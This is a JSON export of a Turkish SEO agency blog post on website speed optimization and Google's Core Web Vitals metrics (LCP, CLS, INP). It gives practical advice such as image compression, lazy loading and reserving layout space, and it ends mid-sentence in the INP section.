{"id":28089,"date":"2024-06-20T13:11:26","date_gmt":"2024-06-20T13:11:26","guid":{"rendered":"https:\/\/roible.com\/?p=28089"},"modified":"2026-01-10T10:36:24","modified_gmt":"2026-01-10T07:36:24","slug":"web-site-hizlandirma","status":"publish","type":"post","link":"https:\/\/roible.com\/tr\/web-site-hizlandirma\/","title":{"rendered":"Web Site H\u0131zland\u0131rma Kavram\u0131na Genel Bak\u0131\u015f"},"content":{"rendered":"<p>Web siteleri, y\u0131llar ge\u00e7tik\u00e7e internetin de do\u011fal geli\u015fimiyle birlikte \u00e7ok daha karma\u015f\u0131k yap\u0131lar haline geldi. Bu geli\u015fim, web \u00fczerinden \u00e7ok daha karma\u015f\u0131k i\u015flemlerin tamamlanabilmesini de m\u00fcmk\u00fcn k\u0131ld\u0131. Y\u00fcksek \u00e7\u00f6z\u00fcn\u00fcrl\u00fckl\u00fc dolay\u0131s\u0131yla b\u00fcy\u00fck boyutlu g\u00f6rseller, videolar veya on binlerce \u00fcr\u00fcn\u00fcn sergilendi\u011fi e-ticaret siteleri, g\u00fcn\u00fcm\u00fcz internet teknolojilerinin kullan\u0131c\u0131lara sundu\u011fu standart hizmetler aras\u0131nda yer ald\u0131. S\u00f6z konusu durum, interaktif d\u00fcnyan\u0131n, \u00e7ok farkl\u0131 co\u011frafyalarda, kullan\u0131lan cihazlar\u0131n teknoloji farkl\u0131l\u0131klar\u0131 ve altyap\u0131lar\u0131n sundu\u011fu de\u011fi\u015fken internet h\u0131zlar\u0131na sahip kullan\u0131c\u0131lara da en etkili \u015fekilde sunulmas\u0131n\u0131 zorunluluk haline getirdi.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_1 ez-toc-wrap-left counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u0130\u00e7indekiler<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"\u0130\u00e7indekiler Tablosunu A\u00e7\/Kapat\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#SEO_Calismalari_Icin_Onemi\" >SEO \u00c7al\u0131\u015fmalar\u0131 \u0130\u00e7in \u00d6nemi<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#1-_Siralama_Faktorleri_Icinde_Guclu_Bir_Sinyal\" >1- S\u0131ralama Fakt\u00f6rleri \u0130\u00e7inde G\u00fc\u00e7l\u00fc Bir Sinyal<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#2-_Kullanici_Deneyimi_ve_Satis_Donusumlerine_Katkisi\" >2- Kullan\u0131c\u0131 Deneyimi ve Sat\u0131\u015f D\u00f6n\u00fc\u015f\u00fcmlerine Katk\u0131s\u0131<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#3-_Kaynak_Kullanimini_Optimize_Etmesi\" >3- Kaynak Kullan\u0131m\u0131n\u0131 Optimize Etmesi<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#4-_Mobil_Cihazlardaki_Deneyimi_Gelistirmesi\" >4- Mobil Cihazlardaki Deneyimi Geli\u015ftirmesi<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Core_Web_Vitals_Metrikleri\" >Core Web Vitals Metrikleri<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Largest_Contentful_Paint_LCP\" >Largest Contentful Paint (LCP)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#LCP_Ornekleri\" >LCP \u00d6rnekleri<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#LCP_Optimizasyonu\" >LCP Optimizasyonu<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Gorsel_Dosya_Boyutlarinin_Optimize_Edilmesi\" >G\u00f6rsel Dosya Boyutlar\u0131n\u0131n Optimize Edilmesi<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Lazy_Loading_Kullanimi\" >Lazy Loading Kullan\u0131m\u0131<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Cumulative_Layout_Shift_CLS\" >Cumulative Layout Shift (CLS)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#CLS_Ornekleri\" >CLS \u00d6rnekleri<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#CLS_Optimizasyonu\" >CLS Optimizasyonu<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Gorsel_ve_Reklam_Alan_Boyutlarinin_Belirlenmesi\" >G\u00f6rsel ve Reklam Alan Boyutlar\u0131n\u0131n Belirlenmesi<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Dinamik_Iceriklerin_Yuklenmesi\" >Dinamik \u0130\u00e7eriklerin Y\u00fcklenmesi<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Interaction_To_Next_Paint_INP\" >Interaction To Next Paint (INP)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#INP_Ornekleri\" >INP \u00d6rnekleri<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#INP_Optimizasyonu\" >INP Optimizasyonu<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Uzun_Tarayici_Islemlerini_Optimize_Edin\" >Uzun Taray\u0131c\u0131 \u0130\u015flemlerini Optimize Edin<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Site_Hizini_Olcmek_Icin_Hangi_Web_Siteleri_Kullanilabilir\" >Site H\u0131z\u0131n\u0131 \u00d6l\u00e7mek \u0130\u00e7in Hangi Web Siteleri Kullan\u0131labilir ?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Web_Performansi_Olcumu_Icin_Kullanilabilecek_Platformlar\" >Web Performans\u0131 \u00d6l\u00e7\u00fcm\u00fc \u0130\u00e7in Kullan\u0131labilecek Platformlar<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Google_Pagespeed_Insights\" >Google Pagespeed Insights<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Gercek_Kullanici_Verileri_Degerlendirmesi\" >Ger\u00e7ek Kullan\u0131c\u0131 Verileri De\u011ferlendirmesi<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Lab_Verileri_Degerlendirmesi_Sentetik_Test\" >Lab Verileri De\u011ferlendirmesi (Sentetik Test)<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Firsatlar_ve_Teshisler\" >F\u0131rsatlar ve Te\u015fhisler<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Firsatlar\" >F\u0131rsatlar<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-28\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Teshisler\" >Te\u015fhisler<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-29\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Hangi_Teshisleri_Onceliklendirmelisiniz\" >Hangi Te\u015fhisleri \u00d6nceliklendirmelisiniz ?<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-30\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Hiz_Optimizasyonunda_Sikca_Yapilan_Hatalar\" >H\u0131z Optimizasyonunda S\u0131k\u00e7a Yap\u0131lan Hatalar<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-31\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Belirli_SayfalarinSayfa_Gruplarini_Hizlandirmaya_calismak\" >Belirli Sayfalar\u0131n\/Sayfa Gruplar\u0131n\u0131 H\u0131zland\u0131rmaya \u00e7al\u0131\u015fmak<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-32\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#_Tek_bir_metrigin_optimize_edilmeye_calisilmasi\" >\u00a0Tek bir metri\u011fin optimize edilmeye \u00e7al\u0131\u015f\u0131lmas\u0131<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-33\" href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/#Sik_Sorulan_Sorular\" >S\u0131k Sorulan Sorular<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"SEO_Calismalari_Icin_Onemi\"><\/span>SEO \u00c7al\u0131\u015fmalar\u0131 \u0130\u00e7in \u00d6nemi<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Bir web sitesinin h\u0131z ve deneyim a\u00e7\u0131s\u0131ndan incelenmesi iki farkl\u0131 a\u00e7\u0131dan de\u011ferlendirilebilir. Ancak g\u00fcn\u00fcn sonunda ula\u015f\u0131lmak istenen nokta kullan\u0131c\u0131n\u0131n deneyimini maksimum seviyeye ula\u015ft\u0131rmak ayn\u0131 zamanda web sitesinin kaynaklar\u0131n\u0131 en verimli \u015fekilde kullanabilmektir.<\/p>\n<p>Bu \u00e7er\u00e7evede, web sitelerinin en h\u0131zl\u0131 ve en iyi deneyimle sunulmas\u0131 \u00f6nemini birka\u00e7 maddede de\u011ferlendirmek m\u00fcmk\u00fcnd\u00fcr;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"1-_Siralama_Faktorleri_Icinde_Guclu_Bir_Sinyal\"><\/span>1- S\u0131ralama Fakt\u00f6rleri \u0130\u00e7inde G\u00fc\u00e7l\u00fc Bir Sinyal<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Google&#8217;\u0131n, arama motorlar\u0131 i\u00e7erisinde en \u00e7ok tercih edilen durumda olmas\u0131 ayr\u0131ca kullan\u0131c\u0131lar\u0131n yapt\u0131klar\u0131 t\u00fcm sorgularda en h\u0131zl\u0131 ve en do\u011fru bilgiye ula\u015fmas\u0131n\u0131 hedefledi\u011fi, <a href=\"https:\/\/www.youtube.com\/watch?v=IWWBnJEsUtU\" target=\"_blank\" rel=\"nofollow noopener\">resmi youtube kanallar\u0131ndaki bir videoda<\/a> a\u00e7\u0131k\u00e7a farkedilmektedir.<\/p>\n<p>Google\u2019\u0131n bu misyonu belirlemesini ard\u0131ndan geldi\u011fimiz noktada webmasterlar\u0131n, tasar\u0131mc\u0131lar\u0131n, developerlar\u0131n ve Web\u2019in geli\u015ftirilmesine katk\u0131da bulunan herkesi bu y\u00f6nde e\u011fitti\u011fi, d\u00f6k\u00fcmanlar haz\u0131rlad\u0131\u011f\u0131na son y\u0131llarda s\u0131kl\u0131kla \u015fahit oluyoruz.<\/p>\n<h4>Core Web Vitals<\/h4>\n<p>Durum b\u00f6yleyken, Google\u2019\u0131n web sitelerini bu perspektiften de\u011ferlendirmesinde daha net oldu\u011fu Core Web Vitals metrikleri duyuruldu. S\u00f6z konusu metrikler, bir web sitesinin y\u00fckleme h\u0131z\u0131, interaktivite ve sayfada kullan\u0131lan elementlerin stabilitilerini \u00f6l\u00e7\u00fcyor. Google, bu metriklerin di\u011fer sayfa deneyimi unsurlar\u0131yla birlikte algoritmas\u0131 i\u00e7in bir de\u011ferlendirme unsuru oldu\u011funu vurgulamaktad\u0131r.<\/p>\n<p>https:\/\/developers.google.com\/search\/docs\/appearance\/core-web-vitals?hl=tr<\/p>\n<h3><span class=\"ez-toc-section\" id=\"2-_Kullanici_Deneyimi_ve_Satis_Donusumlerine_Katkisi\"><\/span>2- Kullan\u0131c\u0131 Deneyimi ve Sat\u0131\u015f D\u00f6n\u00fc\u015f\u00fcmlerine Katk\u0131s\u0131<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Google\u2019\u0131n Core Web Vitals metrikleriyle birlikte optimize edilen bir di\u011fer \u00f6nemli durum da kullan\u0131c\u0131 deneyimlerini iyile\u015ftirilmesi. \u00d6zellikle b\u00fcy\u00fck web sitelerinin kullan\u0131c\u0131lara en h\u0131zl\u0131 ve en sorunsuz deneyimi sa\u011flamalar\u0131 y\u00fcksek rekabet ortam\u0131nda olduk\u00e7a kritik.<\/p>\n<p>Site h\u0131z\u0131 konusunda yap\u0131lan \u00e7al\u0131\u015fmalarda, web sitelerinin y\u00fckleme s\u00fcrelerinde yap\u0131lan iyile\u015ftirmelerde d\u00f6n\u00fc\u015f\u00fcm oranlar\u0131n\u0131n %2 ile %7 aras\u0131nda y\u00fckselebilece\u011fini g\u00f6stermi\u015f durumda.<\/p>\n<p>https:\/\/www.cloudflare.com\/learning\/performance\/more\/website-performance-conversion-rates\/<\/p>\n<h3><span class=\"ez-toc-section\" id=\"3-_Kaynak_Kullanimini_Optimize_Etmesi\"><\/span>3- Kaynak Kullan\u0131m\u0131n\u0131 Optimize Etmesi<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Web siteleri, h\u0131z a\u00e7\u0131s\u0131ndan optimize edilmeye ba\u015fland\u0131\u011f\u0131nda, b\u00fcy\u00fck JavaScript dosyalar\u0131, karma\u015f\u0131k CSS dosyalar\u0131, y\u00fcksek boyutlu g\u00f6rseller, videolar vb. bir\u00e7ok dosya, bazen s\u0131k\u0131\u015ft\u0131rma, bazen de temizleme gibi y\u00f6ntemlerle daha k\u00fc\u00e7\u00fck boyutlara indirgenir.<\/p>\n<p>Dosya s\u0131k\u0131\u015ft\u0131rma i\u015flemi, web sitesinin sunucu taraf\u0131nda daha az boyutlu olmas\u0131n\u0131 sa\u011flar ve isteklere daha h\u0131zl\u0131 yan\u0131t verilmesine olanak tan\u0131r. Ayr\u0131ca, olas\u0131 bak\u0131m ve sunucu kiralama masraflar\u0131n\u0131 da minimize eder.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"4-_Mobil_Cihazlardaki_Deneyimi_Gelistirmesi\"><\/span>4- Mobil Cihazlardaki Deneyimi Geli\u015ftirmesi<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Mobil cihazlar\u0131n internet aramalar\u0131 ve sat\u0131\u015flar \u00fczerindeki etkisi, her ge\u00e7en g\u00fcn art\u0131yor. Web \u00fczerinde hizmet, sat\u0131\u015f vb. bir faaliyet y\u00fcr\u00fcten bir web sitesinin mobil uyumlulu\u011funun kusursuz olmas\u0131 art\u0131k g\u00f6zard\u0131 edilemez bir ger\u00e7eklik.<\/p>\n<p><em>\u201c2021 Mart itibariyle Google t\u00fcm web sitelerini \u00f6ncelikli olarak mobil s\u00fcr\u00fcmlerini baz alarak taramaya ba\u015flad\u0131. Kullan\u0131c\u0131 tercihi ve Google\u2019\u0131n bu yakla\u015f\u0131m\u0131 g\u00f6z \u00f6n\u00fcne al\u0131nd\u0131\u011f\u0131nda mobil \u00f6ncelikli yakla\u015f\u0131mlar olduk\u00e7a de\u011ferli.\u201d<\/em><\/p>\n<p>Mobil cihazlar\u0131n performans, a\u011f ba\u011flant\u0131s\u0131 vb. bir\u00e7ok fakt\u00f6rde \u00e7e\u015fitlilik g\u00f6steren bir ekosistemi olmas\u0131 da bu alanda yap\u0131lacak optimizasyonlar\u0131n\u0131n dikkatli bir \u015fekilde y\u00fcr\u00fct\u00fclmesini gerekli k\u0131l\u0131yor.<\/p>\n<h1><span class=\"ez-toc-section\" id=\"Core_Web_Vitals_Metrikleri\"><\/span>Core Web Vitals Metrikleri<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>Site h\u0131z\u0131n\u0131z\u0131 \u00f6l\u00e7ebilece\u011finiz ara\u00e7lara ge\u00e7meden \u00f6nce bu ara\u00e7larda s\u0131kl\u0131kla g\u00f6rece\u011finiz ve performans de\u011ferlendirmeleri yorumlarken bilmeniz gereken metrikleri inceleyelim.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Largest_Contentful_Paint_LCP\"><\/span>Largest Contentful Paint (LCP)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>LCP, yani \u201cLargest Contentful Paint\u201d, web sayfalar\u0131n\u0131n y\u00fcklenme performans\u0131n\u0131 \u00f6l\u00e7en \u00f6nemli bir metriktir. Ayr\u0131ca sayfan\u0131n ana i\u00e7eri\u011finin ne kadar h\u0131zl\u0131 y\u00fcklendi\u011fini g\u00f6sterir.<\/p>\n<p>LCP, kullan\u0131c\u0131 deneyimi a\u00e7\u0131s\u0131ndan kritik \u00e7\u00fcnk\u00fc ziyaret\u00e7ilerin sayfada g\u00f6rd\u00fckleri ilk b\u00fcy\u00fck g\u00f6rsel ya da metin blo\u011funun y\u00fcklenme s\u00fcresini ifade eder. \u0130yi bir LCP skoru, sayfan\u0131n ana i\u00e7eri\u011finin h\u0131zl\u0131 y\u00fcklendi\u011fini ve kullan\u0131c\u0131lar\u0131n beklemek zorunda kalmad\u0131\u011f\u0131n\u0131 g\u00f6sterir.<\/p>\n<p>2.5 saniye ve alt\u0131nda LCP s\u00fcresi hedeflenmelidir.<\/p>\n<p>Kaynak: web.dev<\/p>\n<h2><span class=\"ez-toc-section\" id=\"LCP_Ornekleri\"><\/span>LCP \u00d6rnekleri<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A\u015fa\u011f\u0131daki \u00f6rnekte g\u00f6sterildi\u011fi \u00fczere haber g\u00f6rseli LCP olarak de\u011ferlendirilirken ilk g\u00f6rseldeki\u00a0visual stories\u00a0linki FCP (First Contentful Paint) olarak belirtilmi\u015f. Bunun sebebi FCP\u2019nin sayfada g\u00f6r\u00fclen ilk element olmas\u0131yken, LCP\u2019nin sayfadaki\u00a0ana ve en b\u00fcy\u00fckelement olarak de\u011ferlendirilmesidir.<\/p>\n<p>Kaynak: web.dev<\/p>\n<h2><span class=\"ez-toc-section\" id=\"LCP_Optimizasyonu\"><\/span>LCP Optimizasyonu<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"Gorsel_Dosya_Boyutlarinin_Optimize_Edilmesi\"><\/span>G\u00f6rsel Dosya Boyutlar\u0131n\u0131n Optimize Edilmesi<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>G\u00f6rseller genellikle web sayfalar\u0131n\u0131n en b\u00fcy\u00fck boyutlu dosyalarundan biridir. Bu y\u00fczden g\u00f6rsellerin boyutunu k\u00fc\u00e7\u00fcltmek, sayfa y\u00fckleme s\u00fcrelerini \u00f6nemli \u00f6l\u00e7\u00fcde iyile\u015ftirebilir. Bu, g\u00f6rsel s\u0131k\u0131\u015ft\u0131rma ara\u00e7lar\u0131 ve modern formatlar (WebP) kullan\u0131larak yap\u0131labilir.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Lazy_Loading_Kullanimi\"><\/span>Lazy Loading Kullan\u0131m\u0131<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Bu teknik, kullan\u0131c\u0131 sayfay\u0131 a\u015fa\u011f\u0131 kayd\u0131rd\u0131k\u00e7a g\u00f6rsellerin ve i\u00e7eri\u011fin y\u00fcklenmesini sa\u011flar. B\u00f6ylece ba\u015flang\u0131\u00e7ta yaln\u0131zca gerekli i\u00e7erik y\u00fcklenir.<\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone\" src=\"https:\/\/miro.medium.com\/v2\/resize:fit:786\/format:webp\/1*btEjjGu76-cHqBA0Re-aDw.gif\" alt=\"lazy load kullan\u0131m\u0131\" width=\"640\" height=\"320\" \/><\/p>\n<p>Kaynak:\u00a0<a href=\"https:\/\/medium.com\/@sanishkr\/react-progressive-graceful-image-c7a45b577f5f\" target=\"_blank\" rel=\"nofollow noopener\">Medium<\/a><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Cumulative_Layout_Shift_CLS\"><\/span>Cumulative Layout Shift (CLS)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Cumulative Layout Shift (CLS), bir web sayfas\u0131ndaki g\u00f6rsel i\u00e7eri\u011fin ne kadar istikrarl\u0131 oldu\u011funu \u00f6l\u00e7en bir metriktir. \u00d6zellikle sayfa y\u00fcklenirken veya kullan\u0131c\u0131 sayfada gezinirken, unsurlar\u0131n beklenmedik \u015fekilde yer de\u011fi\u015ftirmesi kullan\u0131c\u0131 deneyimini olumsuz etkileyebilir.<\/p>\n<p>CLS skorlar\u0131*<\/p>\n<p>Kaynak: web.dev<\/p>\n<p>*Burada belirtilen skorlar \u201cbelli bir e\u015fi\u011fi\u201d belirtmektedir. De\u011ferlendirilen web sitelerinin sayfa i\u00e7eri\u011finin ne kadar ve ne s\u0131kl\u0131kta kayd\u0131\u011f\u0131 \u00f6l\u00e7erek belirlenmi\u015f, buna g\u00f6re &lt; 0.1 \u2013 0.25 &gt; \u015feklinde bir skala belirlenmi\u015ftir. Skor ne kadar y\u00fcksek \u00e7\u0131karsa web sitenizin veya sayfan\u0131z\u0131n g\u00f6rsel stabilitesinin o kadar karars\u0131z oldu\u011fu sonucu ortaya \u00e7\u0131kar.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"CLS_Ornekleri\"><\/span>CLS \u00d6rnekleri<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Web sayfas\u0131nda g\u00f6r\u00fcnt\u00fc ve videolar i\u00e7in CSS veya HTML\u2019de boyut belirtilmemesi, Javascript kullan\u0131larak sayfaya sonradan eklenen i\u00e7erikler (yorumlar, \u00fcr\u00fcn listeleri vs.) sayfan\u0131n d\u00fczeninde ani de\u011fi\u015fikliklere sebep olabilir.<\/p>\n<p><img decoding=\"async\" class=\"alignnone\" src=\"https:\/\/lh5.googleusercontent.com\/P7_DbPyjZgKKWufrVsH5fcxxgTcs9OOdVJnoVS2H26E3YaIZH0r-IBocj4gUz7L-SQoMjzbNeE4cMFsOjvKeVyKnsFMS3jiekRJGG-LULAGEMYJ_QN6i-DZXix1hs0fHMMnHP8o4\" alt=\"cls \u00f6rnekleri\" width=\"700\" height=\"394\" \/><\/p>\n<p>Kaynak: Hubspot<\/p>\n<h2><span class=\"ez-toc-section\" id=\"CLS_Optimizasyonu\"><\/span>CLS Optimizasyonu<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"Gorsel_ve_Reklam_Alan_Boyutlarinin_Belirlenmesi\"><\/span>G\u00f6rsel ve Reklam Alan Boyutlar\u0131n\u0131n Belirlenmesi<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Sayfa y\u00fcklenirken g\u00f6r\u00fcnt\u00fc ve reklamlar\u0131n boyutlar\u0131 belirsizse, bu unsurlar y\u00fcklendik\u00e7e sayfan\u0131n d\u00fczeni de\u011fi\u015febilir. Dolay\u0131s\u0131yla, kullan\u0131c\u0131n\u0131n sayfada okudu\u011fu metni kaybetmesine veya yanl\u0131\u015f bir butona t\u0131klamas\u0131na neden olabilir. G\u00f6r\u00fcnt\u00fc ve reklam elementlerinizin boyutlar\u0131n\u0131 HTML veya CSS kullan\u0131p \u00f6nceden tan\u0131mlayarak, bu elementtnler y\u00fcklenirken sayfan\u0131n sabit kalmas\u0131n\u0131 sa\u011flanabilir.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Dinamik_Iceriklerin_Yuklenmesi\"><\/span>Dinamik \u0130\u00e7eriklerin Y\u00fcklenmesi<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Javascript ile dinamik olarak y\u00fcklenen i\u00e7erikleri y\u00fcklerken, sayfan\u0131n geri kalan\u0131n\u0131n sabit kalmas\u0131n\u0131 sa\u011flamak i\u00e7in yer tutucular (placholder) kullanmak faydal\u0131d\u0131r. Placeholder render s\u00fcreci tamamlan\u0131p, ilgili alan dolana kadar sayfa kaymalar\u0131n\u0131 \u00f6neler. Ayr\u0131ca, bu t\u00fcr i\u00e7erikleri sayfan\u0131n daha az g\u00f6r\u00fcn\u00fcr b\u00f6l\u00fcmlerinde veya\u00a0kullan\u0131c\u0131n\u0131n etkile\u015fimine ba\u011fl\u0131 olarak y\u00fcklemek, CLS\u2019yi \u00f6nemli \u00f6l\u00e7\u00fcde azaltabilir.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Interaction_To_Next_Paint_INP\"><\/span>Interaction To Next Paint (INP)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>INP metri\u011fi sayfada bulunan elemetlerin kullan\u0131c\u0131lar olan etkile\u015fiminii\u015fini \u00f6l\u00e7er. Bir ba\u015fka ifadeyle, sayfada bulunan t\u0131klanabilir elementler, akordiyon yap\u0131 vb. t\u0131klama sonucunda aksiyon sa\u011flayan yap\u0131lar\u0131n kararl\u0131l\u0131\u011f\u0131n\u0131 denetler.<\/p>\n<p>\u0130deal INP skoru 200 ms\u2019nin alt\u0131ndaki tepki 